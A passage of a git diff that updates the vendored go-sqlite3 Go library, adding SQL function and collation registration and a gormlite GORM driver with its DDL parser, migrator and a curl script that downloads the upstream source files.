zJF%S-o9MvZ#-Lbj-|f)v*egC+cJ~Ex|Fb)7TVjsUIKf|Fr44vE`jNQxnEKqVU zpZPx(Pz-wC|3Imu@1N6|rsU6ZIIw2+(T@3SM+%(+j0zIq0k&*`qV#?+Q5iuI+Tjz+ zIS#!SsyL7$#kuS-=yT`&fu0YDhvp1S&zISpThh;w=g;|fdJp+wyyx4%P;FYkCN5O6 z|GviN35${#0WSVx#Nwoi35b=JZwWiNQ0ad0Qc)hWf{$M!ZZ+D>_eroe zgs=B3V_A!o9QlzsnHf1*O^&n(t#}IK z+Gfe)hOrHaMf)edP=CUaRRaM3@D(GAN8_6vt~x9MwRPWnF(C;c;Z#x~S1R6pKs@x?gD*3vlm@kex98NSEoAA)wZbu4#_t9O}XS57Ij(OIB zFWf@mP@s9xpimP{2zwlvNf7ex@xWdO4~PdN#KrP}E)P8C;PDkfjGF@c96ZV-7(Z=7 z<@?VD5$bsdkGnZ9vYi(kJfP)yzS)Fjw;FrV!2^4O4zckaxC89^rTFUUB?pf=2|;_k z2OT`{r7SKHyqqW{W}wa_<|2-uUBg!rB4F(KeXlxPq$O;l(*ewDjx4S$zJ;Wnc)sq) z7O?nPXXtM@(i5Z<48G~eNB|0Hb@i459~c@6KIFhBeLN>jWlXssl3t(++4!`&j(sov#bv_JD@H(taUvfr61ux;viLv zExwNp$#6o54bM+tV6a}?JF20EeX1!SUWsFWZ(TWk1dNTc&xGdOUViuUb4@fdBRYro z)O;cEnq)^bQK;j-)EFl5!=$ueCtz!jU!nU~~bEvvM56dK!Lo zD4a9DaLGSp7vFFGq_t@(*1s8bVa-yh^0VjY?+zR|(M?in zB}GEPHSeH}M+P z8BSL>EEGsa3ViO>u!#O>^vq;U%awD7-RIOjni~@)sr!BdG6)kNL1r0{;aEu#WVTZu zdX?Bc0pJ1l;c~c}2MtQ{kA#@x)cxa)HTW!-Ky#gXU*c2?H`n>RF%N&TN(^RPc~u`W z_!oL7P#NYF-75URe5Y{M)Q*R>W|60jV|Xuc3MXUu*@aqBF;MZR)HO4w!}!HoPK=5r z&Lmf+X?>|PhtD+VA{9C(o5VJMb*q!6zN-q+>#<^tf0AUG^RF2M9EO_}0lHmLSpA68 z#mUIE6;>~IDwG?IeP{hI=BTl{kZ%RMVkMNf(#a<^jwbh0!jY?-dPFw_WlO~F-=j|b zAc}zeq7Qa`{L%V0A+D%`<_p1ObrP6Q7{ZIKNfKzt1>BJd`n66yyd?hQNpam2mpj+7 zuOVsI^+}SFcM^p*uG&I(+;#@X*9z5=$zjbwxr?8*gw}O>DRrd*(QCF&g;~v-xrngNr4Y_ntDHQ@(`Mo z$Ppj1>1&kk`G>`b)>K&U504;0J%Nwd&NWKcYd*%50in45Ijc_u8_t5%^r>hI&kOsb zwtU9Y)+${u`&{%MM{?x~iZ4VDaWMQN?f@Neva+>GZvB^8Dd3g>Es4bJ@tu=p zuEWmY_h;b*{SSh@Mz1eMeiQ<0&|+NI$3EIm+PIB+{eHptXKmaPL@)Y_Frsn<1eiB4 z#m3YV0u&c8QSV7ng8=DePYDmCm973&^c8k=1fSDF0Oa)ozX^yaP*pN`T;Jc%h767M zIio}3BvDn#&{*G=6z=>4SK)mprf}y+CP8a`@dX+u?4*bgV4)D3dw(jJ8}cm@%tTBim@Q^^ zZdAIPm!#ye-R(-Ax-{k7sQBK8T(H(c^cr2)6M=ARivEdK5(OX20>A9f@S@+j+kYe_ zpQ_5XhrD!JyqxuE$K}!$Y*@Q;&P^**cp#HGXDwcH8IE@w zz)VcZZ5lD=8CW=9?5t+H+WGgc@3-R%*R||aJ7R`)!b&uzLV8RiB-MJMJif3IirS#* z7x#GuV52Ys{g2xSV7t-hq#Q1rPViU?k5Ce8pLj?M1UHGwumz+~43CQzh^3C;{DkOr zW4R-so5i5i>lhgl;3qX2|T!O}OXYk;3C@4YOM~ zE9AHtKV$F`BGdNevwwgQ|2;x|f`|Zx)q4%uc(^MBd`^_*8{(o7x8JGm6O=T(1QmI! z{lYHwvCCtmk%KEro)<=V7QAv~MRDoS7Yw-&@3_U?kr&wmk1N^#IAF-4RX{%FCDCPt zQ9bxLXfO~|ROid=!^f3^YdS@(hE5438v9BLk7c>=p)h?stZK1Hw6OYB*7pgeYyNAA zw(vbWo#1umc>)gm4Iv1zfaGvQZwedJ+ekb9RqoQFxBdiNS~l{~*&3nCNLmGNrz9_J z#Ms~$*xyOfcfv7fTs-dMfy2Ax8glwzt^VFwlStxB<9(r{v;HvO2W;48<(z^K&#FzF zdEi@3HFlV_Y*un}KN6k55ojmW2i(VO-Ddo8i%*gTx=NS_f~8Lrj+d6++z84lK08|v z918V({wH9l=L^>BNkz#&BCx_O4h>b~@MR1>fA}(ml|6~D^(#IK`oo=35d5{s4e|#m zca--J;j|UbHv#~(2KY85r3SmV6)Nr59^*CjkA>*NUfLxS9^!b4zL^i5_lJ+fmoVS) zp$^h6^?#WAzfWPmKZ*GJ2d-~omY9-%LN76)h(%@`NVj2IQjKeX$2p`1U)G-m{d zvtpAL7guUgHAN>AT@$y$Ix!``$tVCDM(kccy0nrV!*^S$9c|V^IiDM6YR%r zN`d?^%XkWh$_rflu;Q%wd!dU$*#20~i53be775K5P_BZ-Eml_%lU@Ddh(3dash z|D1w)rd8A}q#J}U#j(q=Of*502Md-*gfOC+2r&2*8eQ&6@_H~{Z=``1h%1Dak|K|b zR|**~9F@_M%kohFA4t2Jflf3#B2uVHsRjWgx78gnC5SSJ`j z5%g&eU!Sc{Zl#9UAjr6*)<7GD=sL*fkF<-Lwbh|U7JW?6kq>pp#or0uKX!{lYo?#PrCD~jmDh-!IGC<}jj!izn1T*wCue<*baKJ(u%s7s2)ALXPzc%J3& zRC<_SaCKu7pHgyI$xg+d`=YQsgT)9hq&vXw*r}Y8`;z8&Ncv&^*iin-@Ikg@r;^+C zWnl=SWnTQvQQUATtnOql?o_&sd_}Z@oD#M$$t}GqAQMUt7Oil@ ze@ECGnVz@_@h*FMmr_vh-dVj|62&gDmv4i;&yMXvaPfgqh1P*(;@ij%S+@?Q`>?|< zeyWhL*N;TK+NKQtOpQG;Y3irG}ICM~=BtM3yGb<9db&zjL|#QOwvlg}@c}?_IWrDs@~{ z-yi6uHdfX5M^|c;K1tFxdVX@Hh-?ok{IjqPT+lu%#QDX=*6)V4wQOubGh$#qjd88c*dwGX+~^e;b-8) xC#D)_{`3_n?mpY`|2SsgKRm#fQT0{)k5Z};=f`~yZTa`J%13#u={@E5{{wSSKwkg= diff --git a/vendor/github.com/ncruces/go-sqlite3/error.go b/vendor/github.com/ncruces/go-sqlite3/error.go index 957a7440b7..c91dccd12f 100644 --- a/vendor/github.com/ncruces/go-sqlite3/error.go +++ b/vendor/github.com/ncruces/go-sqlite3/error.go @@ -68,6 +68,19 @@ func (e *Error) Is(err error) bool { return false } +// As converts this error to an [ErrorCode] or [ExtendedErrorCode]. +func (e *Error) As(err any) bool { + switch c := err.(type) { + case *ErrorCode: + *c = e.Code() + return true + case *ExtendedErrorCode: + *c = e.ExtendedCode() + return true + } + return false +} + // Temporary returns true for [BUSY] errors. func (e *Error) Temporary() bool { return e.Code() == BUSY @@ -104,6 +117,15 @@ func (e ExtendedErrorCode) Is(err error) bool { return ok && c == ErrorCode(e) } +// As converts this error to an [ErrorCode]. +func (e ExtendedErrorCode) As(err any) bool { + c, ok := err.(*ErrorCode) + if ok { + *c = ErrorCode(e) + } + return ok +} + // Temporary returns true for [BUSY] errors. func (e ExtendedErrorCode) Temporary() bool { return ErrorCode(e) == BUSY diff --git a/vendor/github.com/ncruces/go-sqlite3/func.go b/vendor/github.com/ncruces/go-sqlite3/func.go new file mode 100644 index 0000000000..205943eb5f --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/func.go @@ -0,0 +1,186 @@ +package sqlite3 + +import ( + "context" + + "github.com/ncruces/go-sqlite3/internal/util" + "github.com/tetratelabs/wazero" + "github.com/tetratelabs/wazero/api" +) + +// AnyCollationNeeded registers a fake collating function +// for any unknown collating sequence. +// The fake collating function works like BINARY. +// +// This extension can be used to load schemas that contain +// one or more unknown collating sequences. +func (c *Conn) AnyCollationNeeded() { + c.call(c.api.anyCollation, uint64(c.handle), 0, 0) +} + +// CreateCollation defines a new collating sequence. +// +// https://www.sqlite.org/c3ref/create_collation.html +func (c *Conn) CreateCollation(name string, fn func(a, b []byte) int) error { + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + r := c.call(c.api.createCollation, + uint64(c.handle), uint64(namePtr), uint64(funcPtr)) + if err := c.error(r); err != nil { + util.DelHandle(c.ctx, funcPtr) + return err + } + return nil +} + +// CreateFunction defines a new scalar SQL function. +// +// https://www.sqlite.org/c3ref/create_function.html +func (c *Conn) CreateFunction(name string, nArg int, flag FunctionFlag, fn func(ctx Context, arg ...Value)) error { + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + r := c.call(c.api.createFunction, + uint64(c.handle), uint64(namePtr), uint64(nArg), + uint64(flag), uint64(funcPtr)) + return c.error(r) +} + +// CreateWindowFunction defines a new aggregate or aggregate window SQL function. +// If fn returns a [WindowFunction], then an aggregate window function is created. +// +// https://www.sqlite.org/c3ref/create_function.html +func (c *Conn) CreateWindowFunction(name string, nArg int, flag FunctionFlag, fn func() AggregateFunction) error { + call := c.api.createAggregate + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + if _, ok := fn().(WindowFunction); ok { + call = c.api.createWindow + } + r := c.call(call, + uint64(c.handle), uint64(namePtr), uint64(nArg), + uint64(flag), uint64(funcPtr)) + return c.error(r) +} + +// AggregateFunction is the interface an aggregate function should implement. +// +// https://www.sqlite.org/appfunc.html +type AggregateFunction interface { + // Step is invoked to add a row to the current window. + // The function arguments, if any, corresponding to the row being added are passed to Step. + Step(ctx Context, arg ...Value) + + // Value is invoked to return the current value of the aggregate. + Value(ctx Context) +} + +// WindowFunction is the interface an aggregate window function should implement. +// +// https://www.sqlite.org/windowfunctions.html +type WindowFunction interface { + AggregateFunction + + // Inverse is invoked to remove the oldest presently aggregated result of Step from the current window. + // The function arguments, if any, are those passed to Step for the row being removed. + Inverse(ctx Context, arg ...Value) +} + +func exportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder { + util.ExportFuncVI(env, "go_destroy", callbackDestroy) + util.ExportFuncIIIIII(env, "go_compare", callbackCompare) + util.ExportFuncVIII(env, "go_func", callbackFunc) + util.ExportFuncVIII(env, "go_step", callbackStep) + util.ExportFuncVI(env, "go_final", callbackFinal) + util.ExportFuncVI(env, "go_value", callbackValue) + util.ExportFuncVIII(env, "go_inverse", callbackInverse) + return env +} + +func callbackDestroy(ctx context.Context, mod api.Module, pApp uint32) { + util.DelHandle(ctx, pApp) +} + +func callbackCompare(ctx context.Context, mod api.Module, pApp, nKey1, pKey1, nKey2, pKey2 uint32) uint32 { + fn := util.GetHandle(ctx, pApp).(func(a, b []byte) int) + return uint32(fn(util.View(mod, pKey1, uint64(nKey1)), util.View(mod, pKey2, uint64(nKey2)))) +} + +func callbackFunc(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackHandle(sqlite, pCtx).(func(ctx Context, arg ...Value)) + fn(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackStep(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, nil).(AggregateFunction) + fn.Step(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackFinal(ctx context.Context, mod api.Module, pCtx uint32) { + var handle uint32 + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, &handle).(AggregateFunction) + fn.Value(Context{sqlite, pCtx}) + if err := util.DelHandle(ctx, handle); err != nil { + Context{sqlite, pCtx}.ResultError(err) + } +} + +func callbackValue(ctx context.Context, mod api.Module, pCtx uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, nil).(AggregateFunction) + fn.Value(Context{sqlite, pCtx}) +} + +func callbackInverse(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, nil).(WindowFunction) + fn.Inverse(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackHandle(sqlite *sqlite, pCtx uint32) any { + pApp := uint32(sqlite.call(sqlite.api.userData, uint64(pCtx))) + return util.GetHandle(sqlite.ctx, pApp) +} + +func callbackAggregate(sqlite *sqlite, pCtx uint32, close *uint32) any { + // On close, we're getting rid of the handle. + // Don't allocate space to store it. + var size uint64 + if close == nil { + size = ptrlen + } + ptr := uint32(sqlite.call(sqlite.api.aggregateCtx, uint64(pCtx), size)) + + // Try loading the handle, if we already have one, or want a new one. + if ptr != 0 || size != 0 { + if handle := util.ReadUint32(sqlite.mod, ptr); handle != 0 { + fn := util.GetHandle(sqlite.ctx, handle) + if close != nil { + *close = handle + } + if fn != nil { + return fn + } + } + } + + // Create a new aggregate and store the handle. + fn := callbackHandle(sqlite, pCtx).(func() AggregateFunction)() + if ptr != 0 { + util.WriteUint32(sqlite.mod, ptr, util.AddHandle(sqlite.ctx, fn)) + } + return fn +} + +func callbackArgs(sqlite *sqlite, nArg, pArg uint32) []Value { + args := make([]Value, nArg) + for i := range args { + args[i] = Value{ + sqlite: sqlite, + handle: util.ReadUint32(sqlite.mod, pArg+ptrlen*uint32(i)), + } + } + return args +} diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work b/vendor/github.com/ncruces/go-sqlite3/go.work index 0aa07f2e33..18e3785922 100644 --- a/vendor/github.com/ncruces/go-sqlite3/go.work +++ b/vendor/github.com/ncruces/go-sqlite3/go.work @@ -1,4 +1,4 @@ -go 1.19 +go 1.21 use ( . diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work.sum b/vendor/github.com/ncruces/go-sqlite3/go.work.sum new file mode 100644 index 0000000000..cf0b1d6783 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/go.work.sum @@ -0,0 +1,4 @@ +golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE b/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE new file mode 100644 index 0000000000..558c4ff6df --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE @@ -0,0 +1,22 @@ +MIT License + +Copyright (c) 2023 Nuno Cruces +Copyright (c) 2023 Jinzhu + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md b/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md new file mode 100644 index 0000000000..768a5b4029 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md @@ -0,0 +1,26 @@ +# GORM SQLite Driver + +[![Go Reference](https://pkg.go.dev/badge/image)](https://pkg.go.dev/github.com/ncruces/go-sqlite3/gormlite) + +## Usage + +```go +import ( + _ "github.com/ncruces/go-sqlite3/embed" + "github.com/ncruces/go-sqlite3/gormlite" + "gorm.io/gorm" +) + +db, err := gorm.Open(gormlite.Open("gorm.db"), &gorm.Config{}) +``` + +Checkout [https://gorm.io](https://gorm.io) for details. + +### Foreign-key constraint activation + +Foreign-key constraint is disabled by default in SQLite. To activate it, use connection URL parameter: +```go +db, err := gorm.Open(gormlite.Open( + "file:gorm.db?_pragma=busy_timeout(10000)&_pragma=foreign_keys(1)"), + &gorm.Config{}) +``` \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go new file mode 100644 index 0000000000..69cd1791ff --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go @@ -0,0 +1,231 @@ +package gormlite + +import ( + "database/sql" + "errors" + "fmt" + "regexp" + "strconv" + "strings" + + "gorm.io/gorm/migrator" +) + +var ( + sqliteSeparator = "`|\"|'|\t" + indexRegexp = regexp.MustCompile(fmt.Sprintf(`(?is)CREATE(?: UNIQUE)? INDEX [%v]?[\w\d-]+[%v]? ON (.*)$`, sqliteSeparator, sqliteSeparator)) + tableRegexp = regexp.MustCompile(fmt.Sprintf(`(?is)(CREATE TABLE [%v]?[\w\d-]+[%v]?)(?:\s*\((.*)\))?`, sqliteSeparator, sqliteSeparator)) + separatorRegexp = regexp.MustCompile(fmt.Sprintf("[%v]", sqliteSeparator)) + columnsRegexp = regexp.MustCompile(fmt.Sprintf(`[(,][%v]?(\w+)[%v]?`, sqliteSeparator, sqliteSeparator)) + columnRegexp = regexp.MustCompile(fmt.Sprintf(`^[%v]?([\w\d]+)[%v]?\s+([\w\(\)\d]+)(.*)$`, sqliteSeparator, sqliteSeparator)) + defaultValueRegexp = regexp.MustCompile(`(?i) DEFAULT \(?(.+)?\)?( |COLLATE|GENERATED|$)`) + regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`) +) + +func getAllColumns(s string) []string { + allMatches := columnsRegexp.FindAllStringSubmatch(s, -1) + columns := make([]string, 0, len(allMatches)) + for _, matches := range allMatches { + if len(matches) > 1 { + columns = append(columns, matches[1]) + } + } + return columns +} + +type ddl struct { + head string + fields []string + columns []migrator.ColumnType +} + +func parseDDL(strs ...string) (*ddl, error) { + var result ddl + for _, str := range strs { + if sections := tableRegexp.FindStringSubmatch(str); len(sections) > 0 { + var ( + ddlBody = sections[2] + ddlBodyRunes = []rune(ddlBody) + bracketLevel int + quote rune + buf string + ) + ddlBodyRunesLen := len(ddlBodyRunes) + + result.head = sections[1] + + for idx := 0; idx < ddlBodyRunesLen; idx++ { + var ( + next rune = 0 + c = ddlBodyRunes[idx] + ) + if idx+1 < ddlBodyRunesLen { + next = ddlBodyRunes[idx+1] + } + + if sc := string(c); separatorRegexp.MatchString(sc) { + if c == next { + buf += sc // Skip escaped quote + idx++ + } else if quote > 0 { + quote = 0 + } else { + quote = c + } + } else if quote == 0 { + if c == '(' { + bracketLevel++ + } else if c == ')' { + bracketLevel-- + } else if bracketLevel == 0 { + if c == ',' { + result.fields = append(result.fields, strings.TrimSpace(buf)) + buf = "" + continue + } + } + } + + if bracketLevel < 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + buf += string(c) + } + + if bracketLevel != 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + if buf != "" { + result.fields = append(result.fields, strings.TrimSpace(buf)) + } + + for _, f := range result.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") { + continue + } + + if strings.HasPrefix(fUpper, "PRIMARY KEY") { + for _, name := range getAllColumns(f) { + for idx, column := range result.columns { + if column.NameValue.String == name { + column.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = column + break + } + } + } + } else if matches := columnRegexp.FindStringSubmatch(f); len(matches) > 0 { + columnType := migrator.ColumnType{ + NameValue: sql.NullString{String: matches[1], Valid: true}, + DataTypeValue: sql.NullString{String: matches[2], Valid: true}, + ColumnTypeValue: sql.NullString{String: matches[2], Valid: true}, + PrimaryKeyValue: sql.NullBool{Valid: true}, + UniqueValue: sql.NullBool{Valid: true}, + NullableValue: sql.NullBool{Valid: true}, + DefaultValueValue: sql.NullString{Valid: false}, + } + + matchUpper := strings.ToUpper(matches[3]) + if strings.Contains(matchUpper, " NOT NULL") { + columnType.NullableValue = sql.NullBool{Bool: false, Valid: true} + } else if strings.Contains(matchUpper, " NULL") { + columnType.NullableValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " UNIQUE") { + columnType.UniqueValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " PRIMARY") { + columnType.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + } + if defaultMatches := defaultValueRegexp.FindStringSubmatch(matches[3]); len(defaultMatches) > 1 { + if strings.ToLower(defaultMatches[1]) != "null" { + columnType.DefaultValueValue = sql.NullString{String: strings.Trim(defaultMatches[1], `"`), Valid: true} + } + } + + // data type length + matches := regRealDataType.FindAllStringSubmatch(columnType.DataTypeValue.String, -1) + if len(matches) == 1 && len(matches[0]) == 2 { + size, _ := strconv.Atoi(matches[0][1]) + columnType.LengthValue = sql.NullInt64{Valid: true, Int64: int64(size)} + columnType.DataTypeValue.String = strings.TrimSuffix(columnType.DataTypeValue.String, matches[0][0]) + } + + result.columns = append(result.columns, columnType) + } + } + } else if matches := indexRegexp.FindStringSubmatch(str); len(matches) > 0 { + for _, column := range getAllColumns(matches[1]) { + for idx, c := range result.columns { + if c.NameValue.String == column { + c.UniqueValue = sql.NullBool{Bool: strings.ToUpper(strings.Fields(str)[1]) == "UNIQUE", Valid: true} + result.columns[idx] = c + } + } + } + } else { + return nil, errors.New("invalid DDL") + } + } + + return &result, nil +} + +func (d *ddl) compile() string { + if len(d.fields) == 0 { + return d.head + } + + return fmt.Sprintf("%s (%s)", d.head, strings.Join(d.fields, ",")) +} + +func (d *ddl) addConstraint(name string, sql string) { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields[i] = sql + return + } + } + + d.fields = append(d.fields, sql) +} + +func (d *ddl) removeConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields = append(d.fields[:i], d.fields[i+1:]...) + return true + } + } + return false +} + +func (d *ddl) getColumns() []string { + res := []string{} + + for _, f := range d.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "PRIMARY KEY") || + strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") || + strings.Contains(fUpper, "GENERATED ALWAYS AS") { + continue + } + + reg := regexp.MustCompile("^[\"`']?([\\w\\d]+)[\"`']?") + match := reg.FindStringSubmatch(f) + + if match != nil { + res = append(res, "`"+match[1]+"`") + } + } + return res +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh b/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh new file mode 100644 index 0000000000..fcf9a70bbf --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash +set -euo pipefail + +cd -P -- "$(dirname -- "$0")" + +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/ddlmod.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/ddlmod_test.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/error_translator.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/migrator.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/sqlite.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/sqlite_test.go" \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go new file mode 100644 index 0000000000..ac7a2d299d --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go @@ -0,0 +1,21 @@ +package gormlite + +import ( + "errors" + + "github.com/ncruces/go-sqlite3" + "gorm.io/gorm" +) + +func (dialector Dialector) Translate(err error) error { + switch { + case + errors.Is(err, sqlite3.CONSTRAINT_UNIQUE), + errors.Is(err, sqlite3.CONSTRAINT_PRIMARYKEY): + return gorm.ErrDuplicatedKey + case + errors.Is(err, sqlite3.CONSTRAINT_FOREIGNKEY): + return gorm.ErrForeignKeyViolated + } + return err +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go new file mode 100644 index 0000000000..9e2c4c907a --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go @@ -0,0 +1,431 @@ +package gormlite + +import ( + "database/sql" + "fmt" + "regexp" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +type Migrator struct { + migrator.Migrator +} + +func (m *Migrator) RunWithoutForeignKey(fc func() error) error { + var enabled int + m.DB.Raw("PRAGMA foreign_keys").Scan(&enabled) + if enabled == 1 { + m.DB.Exec("PRAGMA foreign_keys = OFF") + defer m.DB.Exec("PRAGMA foreign_keys = ON") + } + + return fc() +} + +func (m Migrator) HasTable(value interface{}) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + return m.DB.Raw("SELECT count(*) FROM sqlite_master WHERE type='table' AND name=?", stmt.Table).Row().Scan(&count) + }) + return count > 0 +} + +func (m Migrator) DropTable(values ...interface{}) error { + return m.RunWithoutForeignKey(func() error { + values = m.ReorderModels(values, false) + tx := m.DB.Session(&gorm.Session{}) + + for i := len(values) - 1; i >= 0; i-- { + if err := m.RunWithValue(values[i], func(stmt *gorm.Statement) error { + return tx.Exec("DROP TABLE IF EXISTS ?", clause.Table{Name: stmt.Table}).Error + }); err != nil { + return err + } + } + + return nil + }) +} + +func (m Migrator) GetTables() (tableList []string, err error) { + return tableList, m.DB.Raw("SELECT name FROM sqlite_master where type=?", "table").Scan(&tableList).Error +} + +func (m Migrator) HasColumn(value interface{}, name string) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", stmt.Table, `%"`+name+`" %`, `%`+name+` %`, "%`"+name+"`%", "%["+name+"]%", "%\t"+name+"\t%", + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) AlterColumn(value interface{}, name string) error { + return m.RunWithoutForeignKey(func() error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + // lookup field from table definition, ddl might looks like `'name' int,` or `'name' int)` + reg, err := regexp.Compile("(`|'|\"| )" + field.DBName + "(`|'|\"| ) .*?(,|\\)\\s*$)") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, fmt.Sprintf("`%v` ?$3", field.DBName)) + + if createSQL == rawDDL { + return "", nil, fmt.Errorf("failed to look up field %v from DDL %v", field.DBName, rawDDL) + } + + return createSQL, []interface{}{m.FullDataTypeOf(field)}, nil + } + return "", nil, fmt.Errorf("failed to alter field with name %v", name) + }) + }) +} + +// ColumnTypes return columnTypes []gorm.ColumnType and execErr error +func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) { + columnTypes := make([]gorm.ColumnType, 0) + execErr := m.RunWithValue(value, func(stmt *gorm.Statement) (err error) { + var ( + sqls []string + sqlDDL *ddl + ) + + if err := m.DB.Raw("SELECT sql FROM sqlite_master WHERE type IN ? AND tbl_name = ? AND sql IS NOT NULL order by type = ? desc", []string{"table", "index"}, stmt.Table, "table").Scan(&sqls).Error; err != nil { + return err + } + + if sqlDDL, err = parseDDL(sqls...); err != nil { + return err + } + + rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows() + if err != nil { + return err + } + defer func() { + err = rows.Close() + }() + + var rawColumnTypes []*sql.ColumnType + rawColumnTypes, err = rows.ColumnTypes() + if err != nil { + return err + } + + for _, c := range rawColumnTypes { + columnType := migrator.ColumnType{SQLColumnType: c} + for _, column := range sqlDDL.columns { + if column.NameValue.String == c.Name() { + column.SQLColumnType = c + columnType = column + break + } + } + columnTypes = append(columnTypes, columnType) + } + + return err + }) + + return columnTypes, execErr +} + +func (m Migrator) DropColumn(value interface{}, name string) error { + return 